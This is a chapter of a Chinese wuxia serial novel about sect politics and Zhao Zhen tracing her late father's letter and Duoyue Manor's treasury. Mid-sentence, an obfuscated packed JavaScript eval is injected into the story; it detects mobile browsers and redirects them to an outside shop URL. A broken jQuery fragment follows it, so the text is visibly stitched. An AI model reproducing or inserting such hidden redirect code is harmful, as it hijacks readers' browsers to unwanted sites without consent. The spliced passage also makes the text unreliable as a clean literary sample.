“信?”
蒲孟珂有些惊讶,他前两天才往洛阳寄出一封信,按理来说现如今还没到,更何论回信。
不过他还是接过了信,看上面的字迹便心中了然。
大致看了一下信中内容,便急忙去找了还在戒律堂焦头烂额的徐云飞,道:“沧海派又出事了。”
袁鼎、袁良父女二人自上次沧海派动乱之后暂得安稳,但过年之后不久,便再次遭到反扑。
蒋宗源那边依照他们判断来说,应当是强弩之末,南北两边互为掣肘,谁也难以吞并谁,袁鼎想着过了三月三再说,毕竟他做了这沧海派的掌门数年,多少也有些人脉,求到脸上,总是不好一口回绝。
只可惜,南边的反扑来得太快了。
若非小满那丫头机灵,陪着沈盈往南而行的时候发现了不对,便当即叫了沈盈往西而行,并且快马急信通知了袁良。现如今,他二人怕是已经惨遭毒手了。
徐云飞看过之后问蒲孟珂:“你在沧海派待的时间长,你来分析一下。”
蒲孟珂说:“我先说这信是谁寄来的吧。”
那封信,是闻香坊的陶老板寄来的,他暂时收留了袁鼎父女二人,只不过现如今全城都有沧海派的弟子在搜捕,他估计也撑不了多久。
“陶老板将他们藏在刺史府中,虽说性命无碍,但并非所有官家都愿意同江湖人打交道。”蒲孟珂说道,“只怕是也待不了多久。”
陶老板能传信于蒲孟珂,大约也是因为这是他唯一能联系上的、交情也还算不错的江湖人士,他在信中还问了赵蓁的下落。
“沧海派一事……”徐云飞皱着眉头许久,这才说道,“我们也无能为力。”
蒲孟珂何尝不知。
说到底,这是沧海派的内部事务,哪门哪派没有这种兄弟阋墙的戏码上演?救下他父女二人已经是仁至义尽,掺和进其他门派事务,怕也是落不了什么好下场。
更何况,清静宗的情况也没好多少。
在外流落几个月,弟子们懒散惰怠,过年之后这才开始训练不久,便出了不少事情,原本还有精力处理宗内事务的徐云飞现如今恨不得就待在戒律堂了。
方淮醒后,照顾方淮的事情就又回到了皇甫明德身上,但他也依旧会帮忙,甚至方淮也会给不少的意见,蒲孟珂虽然觉得累了许多,但作为吴悠之留在这里的最后一名弟子,他终究还是得撑下去。
不蒸馒头争口气嘛。
蓝杉和楚锦乐各有各的事情要忙,每峰每洞的人员统计,发放物资的调整,药炉重建,还要关注一些年幼弟子的心绪。他们几个弟子每个人轮流抽一天出来,到各峰各洞看弟子训练的情况。
“师弟,”楚锦乐进来,“我找了你一圈,没想到你在师父这里。”
蒲孟珂问:“有什么事吗?”他在现如今的核心弟子中入门最晚,是以所有人都能叫他一声师弟。
“我们需要定一些新的布匹、灶台上的锅具,还有一些零散的物品,我都写在这里了,但清静山下的那个镇子没了,要采购这些东西,还得去十里外的十河铺子,所以我想找几个得力的弟子跟我一起去。”
蒲孟珂结过看来,确实都是现如今缺的东西,连大致所需钱财都写了出来。
他默默算着,点了点头:“我明日给你支取,多给你一些,以备不够,至于弟子,你自己去找吧,或者问问蓝杉师姐。”
楚锦乐点了点头。
“你小师叔现在在做什么?”徐云飞又问。
蒲孟珂道:“自陆大夫走了之后,他便去建药炉了,有时也去训练一下外门弟子。”
“那这番,让他带人去吧。”
“好。”蒲孟珂明白徐云飞的意思,现如今江湖动荡,外出行走还是要多带一些人,顾秋云虽然办事不怎么靠谱,但打起架来,总归比几个小辈弟子好许多。
赵蓁看着那封信,思索着要不要打开。
这信不算旧,也不算新,但放在这里,就是个明晃晃的诱饵。
“不看吗?”钱时文发现她没了动作便问道,“是福是祸,总是要打开才知道。”
“说的是。”
赵蓁打开了那封信,信纸远比信封要旧很多,信纸边缘还有散落的血迹。而信中的字迹是自己十分熟悉的,她轻声念道:“爹?”
这竟然是赵怀生留下的信吗?
赵蓁仔细看了那封信,那是他父亲在大牢之中所写的,留给她最后的一封信,信中只有对家人的愧疚,却从来对自己所做的问心无愧。
赵蓁知道她爹爹正是这样的性格,也或许这封信能够传出来也是要经过层层筛查,否则不会有这么多的灰尘和血迹。
信中内容没什么特殊的,也未曾提及他事,只是希望自己的女儿能够好好活下去。
可这封信终究没有到达八岁的赵蓁手中,反而在十一年后,经由他人故意传到了她的手里。
赵蓁仔仔细细看了几遍,眼泪忍不住流了下来。
钱时文不知道怎么安慰,便走过去,轻轻拍着她的肩膀。
“我没事。”她收好了那封信,问钱时文在账本上可有看出来什么新的线索。
“夺岳山庄每一代都会自宝库中取出定额的财宝,直到这代家主亡去,再由下一代支取,这代家主尚在的时候,是不能再次打开宝库的。”钱时文说,“这笔财宝数额不小,即使夺岳山庄没有其他营生,倒也足够有个五十年的富贵。”
赵蓁道:“可上代家主中途打开了宝库,取走了传国玉玺。”
“传国玉玺是否真的存在暂且不论,夺岳山庄出事之时,我与妹妹尚在襁褓之中,李……庄主也不过十岁左右,那位家主年纪应是不超过四十,也就意味着,那些财宝是不可能用完的。”
赵蓁点点头:“而且那处密室之中没有抢夺痕迹,当时应该是没什么发现。”
“所以,那些东西去了哪里?按落灰程度而言,应该也有十几年了。”
“这确实是一处疑点。”赵蓁说道,她手中还拿着那封信,她低头看去,复而抬头,用信封同账本进行比对。
钱时文只把账本摊开,问:“你认为留下这封信的,是李庄主,可这账本之上并没有最近几年的记录。”自然也不会有他的笔迹。
“我不是在看笔迹,是在看纸。”
“纸?”
赵蓁大概摸了摸,道:“是同一家的纸,我小时候也爱用这种纸。”
字迹能改,有些时候某些
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17769702|207165||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不经意的小习惯却是难改。
或许在外难以发觉,但一旦回到熟悉的地方,终究会忍不住暴露之前的习惯。
“信封是新的,是经过别人传信给我的,但能把这信给我,想必同我家、同夺岳山庄都有关系。”赵蓁说。
其实她大概可以确定,帮她父亲从大牢中将信带出来的,也许就是李朔了。
也或许,她父亲当初也拜托了李朔前去找她,只不过那个时候的李朔终究只有十几岁,家门变故之后,怕也是十分艰难,能拿到这封信已属不易。
“我现在是越来越看不明白他了。”钱时文说。
他们从未相处过的血脉兄弟,若非清静宗一事,怕也难有交集,看不明白实属正常。
“我原本想着,他是想要复兴夺岳山庄,才致力于找到那座宝库和传国玉玺,可现如今看来,似乎并非如此。”钱时文道,“这一代留下来的三个人,若他都没有这个执念,夺岳山庄就此消失,也是不错。”
“这事,只怕同赵家也有关系,我得去找关叔父问问,当年我爹那个案子的具体情况。”赵蓁说道。
钱时文将账本放回原地,赵蓁则是带着信离开,她原本是想问问城内那家纸坊,不过那信封终究有些旧了,怕也是多年前的东西,记录虽在,但查起来着实不易。
此番夺岳山庄之行已经结束。
时移世易,之前那些人在夺岳山庄都未找到什么重要的物品,现如今能让他们找到,必定也是那位李庄主推波助澜的。
既然他自这里离开,那么这回能找到的线索大约也自这里结束。
他们也准备走了。
“钱师兄,”赵蓁叫道,“你真的想要找到那座宝库吗?”
钱时文摇摇头:“我对身外之物并不在意。”
“那……”
“那为何我们还要跟随他的线索到处去找呢?”钱时文问出了让赵蓁迟疑的问题,“我不知道,但或许,能知道他到底想要做什么,只是那座宝库是个不该被打开的地方。”
先一步得到宝库的线索,总比落后的好。
赵蓁定下了心绪说:“或许,能找到一些灵草、丹药之类的,陆大夫之前说那毒人的毒还没完全拔除,只是压制,但或许能在那里找到解决办法呢?”
“也或许,孙姑娘的病也可以得到治疗。”钱时文说道。
他们兄妹三人彼此之间都不算熟悉,这样称呼也好。
“是啊,所以,还是稍微努力一下吧。”赵蓁说,她找了客栈的掌柜,要了信纸和信封,写下信件之后让他们寄给武当,信中也提了要孙时芜帮忙转寄青阳县关姝手中,她还不想被发现行踪。
又买了些路上用的吃食,赵蓁问:“接下来,去哪里?”
“去我家看看吧,我也很久没见过他们了。”
“孙姐姐,你可别出事啊?”王九守在床榻之前,看着昏迷的孙时芜不知所措。
他师父慢慢说道:“别慌,静心。”
随即一道平缓的真气借由王九注入到孙时芜体内,暂且止了衰败之象。
陆江潮快马到了武当山下,山下已有一名道童等候多时,接引他上山。
“她如何了?”陆江潮破门而入。